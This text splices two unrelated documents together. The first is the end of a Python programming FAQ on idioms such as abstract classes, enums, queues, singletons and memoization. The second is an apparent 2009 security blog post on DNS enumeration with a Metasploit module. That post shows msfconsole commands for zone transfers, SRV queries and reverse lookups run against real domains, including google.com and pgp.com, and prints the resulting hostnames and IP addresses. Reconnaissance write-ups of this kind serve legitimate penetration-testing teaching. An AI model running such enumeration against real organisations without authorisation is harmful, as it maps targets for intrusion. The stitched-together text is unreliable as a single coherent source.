    [0, 2, 4, 6, 8]
    
[/code]  
---  
So the answer to the question is: you can put `*y` or `**y` \(or anything else
that you would put into a function call\) into a method call, because method
calls are just function calls.

**Q: Can you implement abstract classes in Python in 0 lines of code? Or 4?**  
---  
Java has an `abstract` keyword so you can define abstract classes that cannot
be instantiated, but can be subclassed if you implement all the abstract
methods in the class. It is a little known fact that you can use `abstract` in
Python in almost the same way; the difference is that you get an error at
runtime when you try to call the unimplemented method, rather than at compile
time. Compare:

[code]

    ## Python
    class **MyAbstractClass** :
        def **method1**(self): abstract
    
    class **MyClass**(MyAbstractClass): 
        pass
    
    
[/code]

* * *
[code]

    >>> MyClass().method1()
    Traceback (most recent call last):
        ...
    NameError: name 'abstract' is not defined
    
    
[/code]

|

[code]

    /* Java */
    public abstract class **MyAbstractClass** {
        public abstract void **method1**();
    }
    
    class **MyClass** extends MyAbstractClass {}
    
    
[/code]

* * *
[code]

    % javac MyAbstractClass
    MyAbstractClass.java:5: 
      class MyClass must be declared abstract. 
      It does not define void method1() from class MyAbstractClass.
    
    
[/code]  
---|---  
Don't spend too much time looking for the `abstract` keyword in the Python
Language Reference Manual; it isn't there. I added it to the language, and the
great part is, the implementation is zero lines of code\! What happens is that
if you call `method1`, you get a `NameError` because there is no `abstract`
variable. \(You might say that's cheating, because it will break if somebody
defines a variable called `abstract`. But then any program will break if
someone redefines a variable that the code depends on. The only difference
here is that we're depending on the lack of a definition rather than on a
definition.\)

If you're willing to write `abstract()` instead of `abstract`, then you can
define a function that raises a `NotImplementedError` instead of a
`NameError`, which makes more sense. \(Also, if someone redefines `abstract`
to be anything but a function of zero arguments, you'll still get an error
message.\) To make `abstract`'s error message look nice, just peek into the
stack frame to see who the offending caller is:

[code]

    def **abstract**():
        import inspect
        caller = inspect.getouterframes(inspect.currentframe())[1][3]
        raise NotImplementedError(caller + ' must be implemented in subclass')
    
    
[/code]

* * *
[code]

    >>> MyDerivedClass().method1()
    Traceback (most recent call last):
        ...
    NotImplementedError: method1 must be implemented in subclass
    
[/code]  
---  
**Q: How do I do Enumerated Types \(enums\) in Python?**  
---  
The reason there is no one answer to this question in Python is that there are
several answers, depending on what you expect an enum to be. If you just want
some variables, each with a unique integer value, you can do:

[code]

    red, green, blue = range(3)
    
[/code]  
---  
The drawback is that whenever you add a new variable on the left, you have to
increment the number on the right. This is not so bad, though, because if you
get it wrong Python will raise an error. It's probably better hygiene to
isolate your enums in a class:

[code]

    class **Colors** :
        red, green, blue = range(3)
    
[/code]  
---  
Now `Colors.red` yields 0, and `dir(Colors)` may be useful \(although you need
to ignore the `__doc__` and `__module__` entries\). If you need control over
what values each enum variable will have, you can use the `Struct` function
from several questions ago as follows:

[code]

    Enum = Struct
    Colors = Enum(red=0, green=100, blue=200)
    
[/code]  
---  
While these simple approaches usually suffice, some people want more. There
are Enum implementations at python.org, ASPN, and faqts. Here is my version,
which is \(almost\) all things to all people, while still being reasonably
concise \(44 lines, 22 of which are code\):

[code]

    class **Enum** :
    
        """Create an enumerated type, then add var/value pairs to it.
        The constructor and the method .ints(names) take a list of variable names,
        and assign them consecutive integers as values.    The method .strs(names)
        assigns each variable name to itself (that is variable 'v' has value 'v').
        The method .vals(a=99, b=200) allows you to assign any value to variables.
        A 'list of variable names' can also be a string, which will be .split().
        The method .end() returns one more than the maximum int value.
        Example: opcodes = Enum("add sub load store").vals(illegal=255)."""
      
        def **__init__**(self, names=[]): self.ints(names)
    
        def **set**(self, var, val):
            """Set var to the value val in the enum."""
            if var in vars(self).keys(): raise AttributeError("duplicate var in enum")
            if val in vars(self).values(): raise ValueError("duplicate value in enum")
            vars(self)[var] = val
            return self
      
        def **strs**(self, names):
            """Set each of the names to itself (as a string) in the enum."""
            for var in self._parse(names): self.set(var, var)
            return self
    
        def **ints**(self, names):
            """Set each of the names to the next highest int in the enum."""
            for var in self._parse(names): self.set(var, self.end())
            return self
    
        def **vals**(self, **entries):
            """Set each of var=val pairs in the enum."""
            for (var, val) in entries.items(): self.set(var, val)
            return self
    
        def **end**(self):
            """One more than the largest int value in the enum, or 0 if none."""
            try: return max([x for x in vars(self).values() if type(x)==type(0)]) + 1
            except ValueError: return 0
        
        def **_parse**(self, names):
            ### If names is a string, parse it as a list of names.
            if type(names) == type(""): return names.split()
            else: return names
    
[/code]  
---  
Here's an example of how to use it:

[code]

    >>> opcodes = Enum("add sub load store").vals(illegal=255)
    >>> opcodes.add
    0
    >>> opcodes.illegal
    255
    >>> opcodes.end()
    256
    >>> dir(opcodes)
    ['add', 'illegal', 'load', 'store', 'sub']
    >>> vars(opcodes)
    {'store': 3, 'sub': 1, 'add': 0, 'illegal': 255, 'load': 2}
    >>> vars(opcodes).values()
    [3, 1, 0, 255, 2]
    
[/code]  
---  
Notice that the methods are cascaded, so you can combine `.strs`, `.ints` and
`.vals` on a single line after the constuctor. Notice the helpful use of `dir`
and `vals`, and that they are free of clutter with anything other than the
variables you define. To iterate over all the enumerated values, you can use
`for x in vars(opcodes).values()`. Notice that you can have non-integer values
for enum variables if you want, using the `.strs` and `.vals` methods.
Finally, notice that it is an error to duplicate a variable name or value.
Sometimes you want to have duplicate values \(e.g. for aliases\); if you need
that, either delete the line that raises a ValueError, or use, for
example`vars(opcodes)['first_op'] = 0`. If there's one thing I dislike most,
its the potential for confusion between `vals` and `values`; maybe I can think
of a better name for `vals`.

**Q: Why is there no \`\`Set'' data type in Python?**  
---  
When this question was first posed there wasn't one, and programmers mostly
used dictionaries instead, but now in Python 2.4 there is good native support
for the `set`type.

**Q: Should I, could I use a Boolean type?**  
---  
When this question was first posed there was no Boolean type in Python, but as
of Python 2.3 there is a `bool` type.

**Q: Can I do the equivalent of \(test ? result : alternative\) in Python?**  
---  
Java and C++ have the ternary conditional operator \(test ? result :
alternative\). Python has resisted this, but in the upcoming Python 2.5 it
will allow expressions of the form \(result **if** test **else**
alternative\). This undermines Python's clear distinction between expressions
and statements, but it is a compromise that many people have asked for.

Until Python 2.5 arrives, what can you do? Here are some options:

  1. You could try `[alternative, result][test]`. Note this evaluates both `alternative` and `result` so it is not good if one is a recursive call or is an expensive computation. If `test` could return a non-bool, then try
  2. `[result, alternative][not test]` Neither of these is very readable.
  3. `test and result or alternative` Some find this idiomatic while others find it confusing. It only works when the `result` is guaranteed to be non-false.
  4. `(test and [result] or [alternative])[0]` avoids that restriction.
  5. `[lambda: result, lambda: alternative][not not test]()` gets around all the restrictions posed so far \(except readability\), but don't say I told you to do it. You can even package this up in a call. The approved naming convention for variables that mimic keywords is to add a trailing underscore. So we have:
  6. `if_(test, result, lambda: alternative)` where we define
[code]    def if_(test, result, alternative=None):

        "If test is true, 'do' result, else alternative. 'Do' means call if callable."
        if test:
            if callable(result): result = result()
            return result
        else:
            if callable(alternative): alternative = alternative()
            return alternative
    
    
[/code]

* * *
[code]    >>> fact = lambda n: if_(n <= 1, 1, lambda: n * fact(n-1))

    >>> fact(6)
    720
    
    
[/code]  
---  
  7. Now, suppose for some reason you strongly prefer the syntax "`if (test) ...`" over "`if(test, ...`" \(and, you never want to leave off the  _alternative_ part\). You could try this:
[code]    def _if(test):

        return lambda alternative: \
                   lambda result: \
                       [delay(result), delay(alternative)][not not test]()
    
    def delay(f):
        if callable(f): return f
        else: return lambda: f
    
    
[/code]

* * *
[code]    >>> fact = lambda n: _if (n <= 1) (1) (lambda: n * fact(n-1))

    >>> fact(100)
    93326215443944152681699238856266700490715968264381621468592963895217599993229915608941463976156518286253697920827223758251185210916864000000000000000000000000L
    
    
    
[/code]  
---  
If u cn rd ths, u cn gt a jb in fncnl prg \(if thr wr any\).

**Q: What other major types are missing from Python?**  
---  
One great thing about Python is that you can go a long way with numbers,
strings, lists, and dicts \(and now sets and bools\). But there are a few
major types that are still missing. For me, the most important is a mutable
string. Doing `str += x` over and over, is slow, and manipulating lists of
characters \(or lists of sub-strings\) means you give up some of the nice
string functions. One possibility is `array.array('c')`. Another is
`UserString.MutableString`, although its intended use is more educational than
practical. A third is the `mmap` module and a fourth is `cStringIO`. None of
these is perfect, but together they provide enough choices. After that, I find
I often want a queue of some sort. There is a standard library Queue module,
but it is specialized for queues of threads. Because there are so many
options, I won't lobby for a standard library implementation of queues.
However, I will offer my implementation of three types of queue, FIFO, LIFO,
and priority:

[code]

    """
    This module provides three types of queues, with these constructors:
      Stack([items])  -- Create a Last In First Out queue, implemented as a list
      Queue([items])  -- Create a First In First Out queue
      PriorityQueue([items]) -- Create a queue where minimum item (by <) is first
    Here [items] is an optional list of initial items; if omitted, queue is empty.
    Each type supports the following methods and functions:
      len(q)          -- number of items in q (also q.__len__())
      q.append(item)  -- add an item to the queue
      q.extend(items) -- add each of the items to the queue
      q.pop()         -- remove and return the "first" item from the queue
    """
    
    def **Stack**(items=None):
        "A stack, or last-in-first-out queue, is implemented as a list."
        return items or []
    
    class **Queue** :
        "A first-in-first-out queue."
        def **__init__**(self, items=None): self.start = 0; self.A = items or []
        def **__len__**(self):                return len(self.A) - self.start
        def **append**(self, item):           self.A.append(item)
        def **extend**(self, items):          self.A.extend(items)
    
        def **pop**(self):
            A = self.A
            item = A[self.start]
            self.start += 1
            if self.start > 100 and self.start > len(A)/2:
                del A[:self.start]
                self.start = 0
            return item
    
    class **PriorityQueue** :
        "A queue in which the minimum element (as determined by cmp) is first."
        def __init__(self, items=None, cmp=operator.lt):
              self.A = []; self.cmp = cmp;
              if items: self.extend(items)
          
        def __len__(self): return len(self.A)
    
        def append(self, item):
            A, cmp = self.A, self.cmp
            A.append(item)
            i = len(A) - 1
            while i > 0 and cmp(item, A[i//2]):
                A[i], i = A[i//2], i//2
            A[i] = item
    
        def extend(self, items):
            for item in items: self.append(item)
    
        def pop(self):
            A = self.A
            if len(A) == 1: return A.pop()
            e = A[0]
            A[0] = A.pop()
            self.heapify(0)
            return e
    
        def heapify(self, i):
            "Assumes A is an array whose left and right children are heaps,"
            "move A[i] into the correct position.  See CLR&S p. 130"
            A, cmp = self.A, self.cmp
            left, right, N = 2*i + 1, 2*i + 2, len(A)-1
            if left <= N and cmp(A[left], A[i]):
                smallest = left
            else:
                smallest = i
            if right <= N and cmp(A[right], A[smallest]):
                smallest = right
            if smallest != i:
                A[i], A[smallest] = A[smallest], A[i]
                self.heapify(smallest)
    
    
[/code]  
---  
Notice the idiom \`\``items or []`.'' It would be very wrong to do something
like

[code]

    def **Stack**(items=[]): return items
    
[/code]  
---  
to indicate that the default is an empty list of items. If we did that, then
different stacks would share the same list. By making the default value be
`None` \(a false value that is outside the range of valid inputs\), we can
arrange so that each instance gets its own fresh list. One possible objection
to the use of this idiom in this example: a user who does

[code]

    s = Stack(items)
    
[/code]  
---  
might expect that `s` and `items` become identical, but that only happens when
`items` is not empty. I would say that this objection is not too serious,
because no such promise is explicitly made. \(Indeed, a user might also expect
that `items` remains unmodified, which is only the case when `items` is
empty.\)

**Q: How do I do the Singleton Pattern in Python?**  
---  
I assume you mean that you want a class that can only be instantiated once,
and raises an exception if you try to make another one. The simplest way I
know to do that is to define a function that enforces the idea, and call the
function from the constructor in your class:

[code]

    def **singleton**(object, instantiated=[]):
        "Raise an exception if an object of this class has been instantiated before."
        assert object.__class__ not in instantiated, \
            "%s is a Singleton class but is already instantiated" % object.__class__
        instantiated.append(object.__class__)
    
    class **YourClass** :
        "A singleton class to do something ..."
        def __init__(self, args):
            singleton(self)
            ...
    
    
[/code]  
---  
You could also mess around with metaclasses so that you could write `class
YourClass(Singleton)`, but why bother? Before the Gang of Four got all
academic on us, \`\`singleton'' \(without the formal name\) was just a simple
idea that deserved a simple line of code, not a whole religion.

**Q: Is no "news" good news?**  
---  
I presume you mean is it good that Python has no **new** keyword. It is
indeed. In C++, **new** is used to mark allocation on the heap rather than the
stack. As such, the keyword is useful. In Java, all objects are heap-
allocated, so **new** has no real purpose; it only serves as a reminder of the
distinction between a constructor and other static methods. But making this
distinction probably does more harm than good in Java, because the distinction
is a low-level one that forces implementation decisions that really should be
delayed. I think Python made the right choice in keeping the syntax of a
constructor call the same as the syntax of a normal function call.

For example, before there was a `bool` class, we might have wanted to
implement it. Let's call it `Bool` to keep it distinct from the built-in.
Suppose we wanted to enforce the idea that there should be only one true and
one false object of type `Bool`. One way to do that is to rename the class
`Bool` to `_Bool` \(so that it won't be exported\), and then define a function
`Bool` as follows:

[code]

    def **Bool**(val):
        if val: return true
        else: return false
    
    true, false = _Bool(1), _Bool(0)
    
[/code]  
---  
This makes the function `Bool` a  _factory_ for `_Bool` objects \(although
admittedly a factory with an unusually small capacity\). The point is that the
programmer who calls`Bool(1)` should not know or care if the object returned
is a new one or a recycled one \(at least in the case of immutable objects\).
Python syntax allows that distinction to be hidden, while Java syntax does
not.

There is some confusion in the literature; some people use the term "Singleton
Pattern" for this type of factory, where there is a singleton object for each
different argument to the constructor. I vote with what I believe is the
majority in my definition of Singleton in the previous question. You can also
encapsulate this pattern in a class. We'll call it "CachedFactory." The idea
is that you write

[code]

    class **Bool** :
        ... ## see here for Bool's definition
    
    Bool = CachedFactory(Bool)
    
[/code]  
---  
and then the first time you call `Bool(1)` the argument list \(1,\) gets
delegated to the original Bool class, but any subsequent calls to `Bool(1)`
return that first object, which gets kept in a cache:

[code]

    class **CachedFactory** :
        def __init__(self, klass):
            self.cache = {}
            self.klass = klass
    
        def __call__(self, *args):
            if self.cache.has_key(args):
                return self.cache[args]
            else:
                object = self.cache[args] = self.klass(*args)
                return object
    
[/code]  
---  
One thing to notice is that nothing rests on classes and constructors; this
pattern would work with any callable. When applied to functions in general, it
is called the "Memoization Pattern". The implementation is the same, only the
names are changed:

[code]

    class **Memoize** :
        def __init__(self, fn):
            self.cache = {}
            self.fn = fn
    
        def __call__(self, *args):
            if self.cache.has_key(args):
                return self.cache[args]
            else:
                object = self.cache[args] = self.fn(*args)
                return object
    
[/code]  
---  
Now you can do `fact = Memoize(fact)` and get factorials computed in amortized
O\(1\) time, not O\(n\).

**Q: Can I have a history mechanism like in the shell?**  
---  
Yes. Is this what you want?

[code]

    >>> from shellhistory import h
    h[2] >>> 7*8
    56
    h[3] >>> 9*9
    81
    h[4] >>> h[2]
    56
    h[5] >>> 'hello' + ' world'
    'hello world'
    h[6] >>> h
    [None, 9, 56, 81, 56, 'hello world']
    h[7] >>> h[5] * 2
    'hello worldhello world'
    h[8] >>>  h[7] is _ is h[-1]
    1
    
    
[/code]  
---  
How does this work? The variable `sys.ps1` is the system prompt. By default it
is the string `'>>> '` but you can set it to anything else. If you set it to a
non-string object, the object's `__str__` method gets called. So we'll create
an object whose string method appends the most recent result \(the variable
`_`\) to a list called `h` \(for history\), and then returns a prompt string
that includes the length of the list followed by `'>>>'`. Or at least that was
the plan. As it turns out \(at least on the IDLE 2.2 implementation on
Windows\), `sys.ps1.__str__` gets called  _three_ times, not just once before
the prompt is printed. Don't ask me why. To combat this, I only append `_`
when it is not already the last element in the history list. And I don't
bother inserting `None` into the history list, because it's not displayed by
the Python interactive loop, and I don't insert `h` itself into`h`, because
the circularity could lead to problems printing or comparing. Another
complication was that the Python interpreter actually attempts to print `'\n'
+ sys.ps1`, \(when it should print the '\n' separately, or print `'\n' +
str(sys.ps1)`\) which means that `sys.ps1` needs an `__radd__` method as well.
Finally, my first version would fail if imported as the very first input in a
Python session \(or in the .python startup file\). After some detective work
it turns out this is because the variable `_` is not bound until after the
first expression is evaluated. So I catch the exception if `_` is unbound.
That gives us:

[code]

    import sys
    
    h = [None]
    
    class **Prompt** :
        "Create a prompt that stores results (i.e. _) in the array h."
        def **__init__**(self, str='h[%d] >>> '):
            self.str = str;
            
        def **__str__**(self):
            try:
                if _ not in [h[-1], None, h]: h.append(_);
            except NameError:
                pass
            return self.str % len(h);
        
        def **__radd__**(self, other):
            return str(other) + str(self)
    
    sys.ps1 = Prompt()
    
[/code]  
---  
**Q: How do I time the execution of my functions?**  
---  
Here's a simple answer:

[code]

    def **timer**(fn, *args):
        "Time the application of fn to args. Return (result, seconds)."
        import time
        start = time.clock()
        return fn(*args), time.clock() - start
    
    
[/code]

* * *
[code]

    >>>timer(max, range(1e6))
    (999999, 0.4921875)
    
    
[/code]  
---  
There's a more complex answer in my utils module.

**Q: What does your`.python` startup file look like?**  
---  
Currently it looks like this, but it's been changing a lot:

[code]

    from __future__ import nested_scopes
    import sys, os, string, time
    from utils import *
    
    ################ Interactive Prompt and Debugging ################
    
    try:
        import readline
    except ImportError:
        print "Module readline not available."
    else:
        import rlcompleter
        readline.parse_and_bind("tab: complete")
    
    h = [None]
    
    class Prompt:
        def __init__(self, str='h[%d] >>> '):
            self.str = str;
    
        def __str__(self):
            try:
                if _ not in [h[-1], None, h]: h.append(_);
            except NameError:
               pass
            return self.str % len(h);
    
      def __radd__(self, other):
            return str(other) + str(self)
    
    
    if os.environ.get('TERM') in [ 'xterm', 'vt100' ]:
        sys.ps1 = Prompt('\001\033[0:1;31m\002h[%d] >>> \001\033[0m\002')
    else:
        sys.ps1 = Prompt()
    sys.ps2 = ''
    
    
[/code]  
---  
* * *
Thanks to Amit J. Patel, Max M, Dan Winkler, Chih-Chung Chang, Bruce Eckel,
Kalle Svensson, Mike Orr, Steven Rogers and others who contributed ideas and
corrections.

# PaulDotCom: Archives

**Created:**| _12/12/2009 4:49:17 PM_  
---|---  
**Updated:**| _12/12/2009 4:49:40 PM_  
**Author:**| __  
**Tags:**| _Footprinting DNS Metasploit_  
  

# DNS Enumeration with Metasploit

ByCarlos Perezon December 11, 2009 6:12 PM | Permalink
One of the old fashion methods of enumeration that I see time and time again
give a large amount of information of great use is DNS \(Domain Name Server\),
a large number of systems now a day depend greatly on this service to be able
to operate, from IP Telephony, Windows Active Directory, Backup Systems and
many other are dependent on this service. This service simplifies
configuration of many services and for this same reason is one of the first
areas to look at when gathering information of a target network. At the
beginning this service used to be just hosts file that where shared by the
system administrators of the systems connected to the internet, now a days we
have a much more robust system. System administrators are required to not only
know the basics but also understand this system since so much is tied to it,
especially since this service easies so much the administration of large IP
networks by abstraction of the addressing layer simplifying configurations,
resiliency and flexibility of today's networks. There are 2 main ways I see
this system configured in most of companies.

In the first configuration the client has one DNS system only for external
requests and only external servers to the enterprise are registered and an
internal system for Active Directory. In the second configuration the client
uses the same DNS system for both internal and external use.

The first type of configuration keeps both the internal naming structure and
the external naming structure separate does providing some security thru
obscurity when the attacker is doing the enumeration from the outside of the
network. Many times on small to medium sized companies there only have what it
is called a Forward Lookup Zone, this is when you simply give a name and you
get back an IP, on some you might find what it is called Wildcard Name
Resolution, this is nothing more that the DNS server you are querying if it
does not have a specific record for that name will return a pre-defined
address, this makes enumeration thru brute force more time consuming since
false positives must be cleared and check. The accuracy of the results of DNS
enumeration varies a lot depending on the Name Server being queried. A target
network may have different domain name spaces that they employ and prior
enumeration thru metadata, email headers and other methods reveal this domain
names so as to be able to enumerate and take advantage of this service. Also a
UDP and TCP portscan with fingerprinting is also a very good idea so as to
find any NS server that might be part of a test system or internal exposed DNS
server.

For DNS enumeration I wrote Metasploit Module to aide in enumeration of
targets, the module is called dns\_enum. Below you will be able to see how the
module can be loaded and list its options inside msfconsole:

[code]

    msf > use auxiliary/gather/dns_enum   
    msf auxiliary(dns_enum) > info  
      
           Name: DNS Enumeration Module  
        Version: $Rev: 7500  
      
    License: Metasploit Framework License (BSD)  
      
    ided by:  
    rlos Perez <carlos_perez@darkoperator.com>  
      
    c options:  
    me         Current Setting                                 Required  Description  
    --         ---------------                                 --------  -----------  
    MAIN                                                       yes       The target domain name  
    UM_AXFR    true                                            yes       Initiate a zone Transfer against each NS record  
    UM_BRT     false                                           yes       Brute force subdomains and hostnames via wordlist  
    UM_RVL     false                                           yes       Reverse lookup a range of IP addresses  
    UM_SRV     true                                            yes       Enumerate the most common SRV records  
    UM_STD     true                                            yes       Enumerate standard record types (A,MX,NS,TXT and SOA)  
    UM_TLD     false                                           yes       Perform a top-level domain expansion by replacing TLD and testing against IANA TLD list  
    RANGE                                                      no        The target address range or CIDR identifier  
                                                               no        Specify the nameserver to use for queries, otherwise use the system DNS  
    OP_WLDCRD  false                                           yes       Stops Brute Force Enumeration if wildcard resolution is detected  
    RDLIST     /Users/cperez/msf3/data/wordlists/namelist.txt  no        Wordlist file for domain name brute force.  
      
    ription:  
    is module can be used to enumerate various types of information   
    out a domain from a specific DNS server.  
      
    rences:  
    tp://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0532  
    
    
[/code]

  

As it can be seen in the options there are several ways one can enumerate a
targeted domain, the methods are:

• Zone Transfer

• Hostname and Subdomain Dictionary Brute Force

• Reverse Lookup

• Service Record

• Standard Record Query

•Top Lever Domain Name Expansion

The module will print the results to the screen and if a database is
configured in Metasploit it will save the results in the database, when using
the module I highly recommend the use of MySQL or Postgres as the database to
be used to save the results since this module uses multi-threading and might
cause locks if using SQLite as the database, if you still choose SQLite for
portability and simple management I recommend that the advanced option of
THREADS to 1, this will mean a slower enumeration.

The recommended use of the module is to execute a combination of the Standard
Record enumeration and the SRV enumeration so as to get a feel of all the
domains found. Also testing each NS server that is found thru port scanning
for the domain names found thru other methods of enumeration. The module will
default to the SOA Server of the DNS name for the domain specified, to
override this method and have it test against a specific DNS Name Server set
the NS option value to the IP of the DNS server to test against.

The first enumeration is what I call a Standard Record Lookup where the module
queries:

· SOA Start of Authority Record

· NS Name Server Records

· MX Mail Exchange Records

· TXT Text Record

From this query we can determine the Main name server for the zone, all other
domain name servers, mail servers and with the TXT record the main thing to
look for is the SPF1 record, it is used to specify what IP addresses are
allowed to send emails on behalf of the domain.

Another lookup to execute is a check for all common SRV or service records,
this returns the service type, the port, priority and A or AAA record for the
service. Microsoft Active Directory and many Unified Communications solutions
use these services.

The module is set by default to perform these queries plus try a Zone Transfer
against all NS record returned by the SOA server. Zone Transfer enumeration is
when one takes advantage of a miss configuration of the registered Name
Servers for a given domain where they are set to share their zone file to
anyone who request this information, typically NS servers are set to only
share their zones with servers that form part of their infrastructure or
probably with a service provider. These transfers are run thru TCP port 53.
The module is set to first enumerate the SOA or start of authority of the
domain we want to target and query it for list of NS servers it knows of and
then goes one by one of this NS servers testing if they would send the entire
zone for the given domain. The reason for why each NS server is tested even if
one of them returns an answer is that the NS servers might not all be
synchronizing with each other and we might get different records from each of
the NS servers that are open to this technique, typically some servers are set
for testing or staging while others run the production

environment. One thing to keep in mind about this test is that all IPS/IDS
systems out there have rules to detect this method of enumeration, but it is
one that if successful will give the largest amount of information with the
least effort. Lets use google.com as a sample target domain:

[code]

    msf auxiliary(dns_enum) > set DOMAIN google.com  
    DOMAIN => google.com  
    msf auxiliary(dns_enum) > run  
      
    [*] Setting DNS Server to google.com NS: 216.239.32.10  
    [*] Retrieving General DNS Records  
    [*] Domain: google.com IP Address: 74.125.53.100 Record: A   
    [*] Domain: google.com IP Address: 74.125.45.100 Record: A   
    [*] Domain: google.com IP Address: 74.125.67.100 Record: A   
    [*] Start of Authority: ns1.google.com. IP Address: 216.239.32.10 Record: SOA  
    [*] Name Server: ns3.google.com. IP Address: 216.239.36.10 Record: NS  
    [*] Name Server: ns2.google.com. IP Address: 216.239.34.10 Record: NS  
    [*] Name Server: ns1.google.com. IP Address: 216.239.32.10 Record: NS  
    [*] Name Server: ns4.google.com. IP Address: 216.239.38.10 Record: NS  
    [*] Name: google.com.s9b2.psmtp.com. Preference: 10 Record: MX  
    [*] Name: google.com.s9b1.psmtp.com. Preference: 10 Record: MX  
    [*] Name: google.com.s9a2.psmtp.com. Preference: 10 Record: MX  
    [*] Name: google.com.s9a1.psmtp.com. Preference: 10 Record: MX  
    [*] Text: v=spf1 include:_netblocks.google.com ip4:216.73.93.70/31 ip4:216.73.93.72/31 ~all , TXT  
    [*] Setting DNS Server to google.com NS: 216.239.32.10  
    [*] Performing Zone Transfer against all nameservers in gmail.com  
    [*] Testing Nameserver: ns2.google.com.  
    AXFR query, switching to TCP  
    [*] Zone Transfer Failed  
    [*] Testing Nameserver: ns3.google.com.  
    AXFR query, switching to TCP  
    [*] Zone Transfer Failed  
    [*] Testing Nameserver: ns4.google.com.  
    AXFR query, switching to TCP  
    [*] Zone Transfer Failed  
    [*] Testing Nameserver: ns1.google.com.  
    AXFR query, switching to TCP  
    [*] Zone Transfer Failed  
    [*] Enumerating SRV Records for google.com  
    [*] SRV Record: _jabber._tcp.google.com Host: xmpp-server2.l.google.com. Port: 5269 Priority: 20  
    [*] SRV Record: _jabber._tcp.google.com Host: xmpp-server4.l.google.com. Port: 5269 Priority: 20  
    [*] SRV Record: _jabber._tcp.google.com Host: xmpp-server.l.google.com. Port: 5269 Priority: 5  
    [*] SRV Record: _jabber._tcp.google.com Host: xmpp-server3.l.google.com. Port: 5269 Priority: 20  
    [*] SRV Record: _jabber._tcp.google.com Host: xmpp-server1.l.google.com. Port: 5269 Priority: 20  
    [*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server3.l.google.com. Port: 5269 Priority: 20  
    [*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server1.l.google.com. Port: 5269 Priority: 20  
    [*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server.l.google.com. Port: 5269 Priority: 5  
    [*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server4.l.google.com. Port: 5269 Priority: 20  
    [*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server2.l.google.com. Port: 5269 Priority: 20  
    [*] SRV Record: _xmpp-client._tcp.google.com Host: talk2.l.google.com. Port: 5222 Priority: 20  
    [*] SRV Record: _xmpp-client._tcp.google.com Host: talk3.l.google.com. Port: 5222 Priority: 20  
    [*] SRV Record: _xmpp-client._tcp.google.com Host: talk4.l.google.com. Port: 5222 Priority: 20  
    [*] SRV Record: _xmpp-client._tcp.google.com Host: talk1.l.google.com. Port: 5222 Priority: 20  
    [*] SRV Record: _xmpp-client._tcp.google.com Host: talk.l.google.com. Port: 5222 Priority: 5  
    [*] Auxiliary module execution completed  
    
    
[/code]

  

In this example we can see the Name Servers, Mail Servers and other standard
records, as it can be seen the sfp records gives us the ip ranges for the
mails servers, this ranges can later be examined by doing reverse lookups
against them. Also on the SRV enumeration we can see all the jabber servers,
their priority and ports, all of this very important information during a
pentest when enumerating a target. Zone Transfer failed against all NS servers
returned by our query. If examining a domain several of the ns servers
enumerated do return the zone compare the results to make sure that one of
those NS servers is not an orphan server not being updated or a possible test
server.

The next method of enumeration is the Reverse Lookup, a typical DNS query
where a name is resolved to an IP is known ad a Forward Lookup a reverse is
just the opposite where we query is made for an IP and we get the FQDN \(Fully
Qualified Domain Name\) for the IP, this method of enumeration tends to go un
noticed by administrators and IPS/IDS systems. All hosts found thru this
method must be verified since there might be old entries for none existing
hosts and many times their name tends to give and idea of their purpose. Lets
use PGP Corp. as an example, in the TXT record we see the spf1 entry with the
ranges for host approved to send emails, lets enumerate on of this ranges:

[code]

    [*] Setting DNS Server to pgp.com NS: 216.112.104.3  
    [*] Retrieving General DNS Records  
    [*] Domain: pgp.com IP Address: 209.237.226.39 Record: A   
    [*] Start of Authority: ns1.pgp.com. IP Address: 216.112.104.3 Record: SOA  
    [*] Name Server: ns1.pgp.com. IP Address: 216.112.104.3 Record: NS  
    [*] Name Server: ns2.pgp.com. IP Address: 216.112.104.4 Record: NS  
    [*] Name Server: ns3.pgp.com. IP Address: 209.237.226.43 Record: NS  
    [*] Name: mx1.pgp.com. Preference: 10 Record: MX  
    [*] Name: mx2.pgp.com. Preference: 20 Record: MX  
    [*] Text: v=spf1 ip4:216.112.104.0/23 ip4:216.112.105.0/24 ip4:66.236.113.0/24 ip4:209.237.226.32/27 ip4:80.154.106.8 ?all , TXT  
    [*] Auxiliary module execution completed  
    msf auxiliary(dns_enum) >   
    
    
[/code]

  

Know we choose the first IP range:

[code]

    msf auxiliary(dns_enum) > set ENUM_AXFR false  
    ENUM_AXFR => false  
    msf auxiliary(dns_enum) > set ENUM_SRV false  
    ENUM_SRV => false  
    msf auxiliary(dns_enum) > set ENUM_STD false  
    ENUM_STD => false  
    msf auxiliary(dns_enum) > set ENUM_RVL true  
    ENUM_RVL => true  
    msf auxiliary(dns_enum) > set IPRANGE 216.112.105.0/24   
    IPRANGE => 216.112.105.0/24  
    msf auxiliary(dns_enum) > run  
    [*] Setting DNS Server to pgp.com NS: 216.112.104.3  
    [*] Running Reverse Lookup against ip range 216.112.105.0-216.112.105.255  
    [*] Host Name: keys.testgeo.com. IP Address: 216.112.105.70  
    [*] Host Name: mail-out.pgp.com. IP Address: 216.112.105.68  
    [*] Host Name: gilda.pgp.com. IP Address: 216.112.105.67  
    [*] Host Name: gabriel.pgp.com. IP Address: 216.112.105.66  
    [*] Host Name: 216-112-105-64.pgp.com. IP Address: 216.112.105.64  
    [*] Host Name: mail-in.testgeo.com. IP Address: 216.112.105.69  
    [*] Host Name: chair-it.pgp.com. IP Address: 216.112.105.65  
    [*] Host Name: 216-112-105-71.pgp.com. IP Address: 216.112.105.71  
    [*] Host Name: dom01.mobile1.pgp.com. IP Address: 216.112.105.79  
    [*] Host Name: domeng.exchange.pgpeng.com. IP Address: 216.112.105.78  
    ................  
    [*] Host Name: jrmobile.pgp.com. IP Address: 216.112.105.237  
    [*] Host Name: 216-112-105-238.pgp.com. IP Address: 216.112.105.238  
    [*] Host Name: cluster3.pgp.com. IP Address: 216.112.105.243  
    [*] Host Name: cluster1.pgp.com. IP Address: 216.112.105.241  
    [*] Host Name: cluster0.pgp.com. IP Address: 216.112.105.240  
    [*] Host Name: 216-112-105-239.pgp.com. IP Address: 216.112.105.239  
    [*] Host Name: cluster2.pgp.com. IP Address: 216.112.105.242  
    [*] Host Name: bletchley.pgp.com. IP Address: 216.112.105.244  
    [*] Host Name: mallen.pgp.com. IP Address: 216.112.105.245  
    [*] Host Name: mallenlaptop.pgp.com. IP Address: 216.112.105.246  
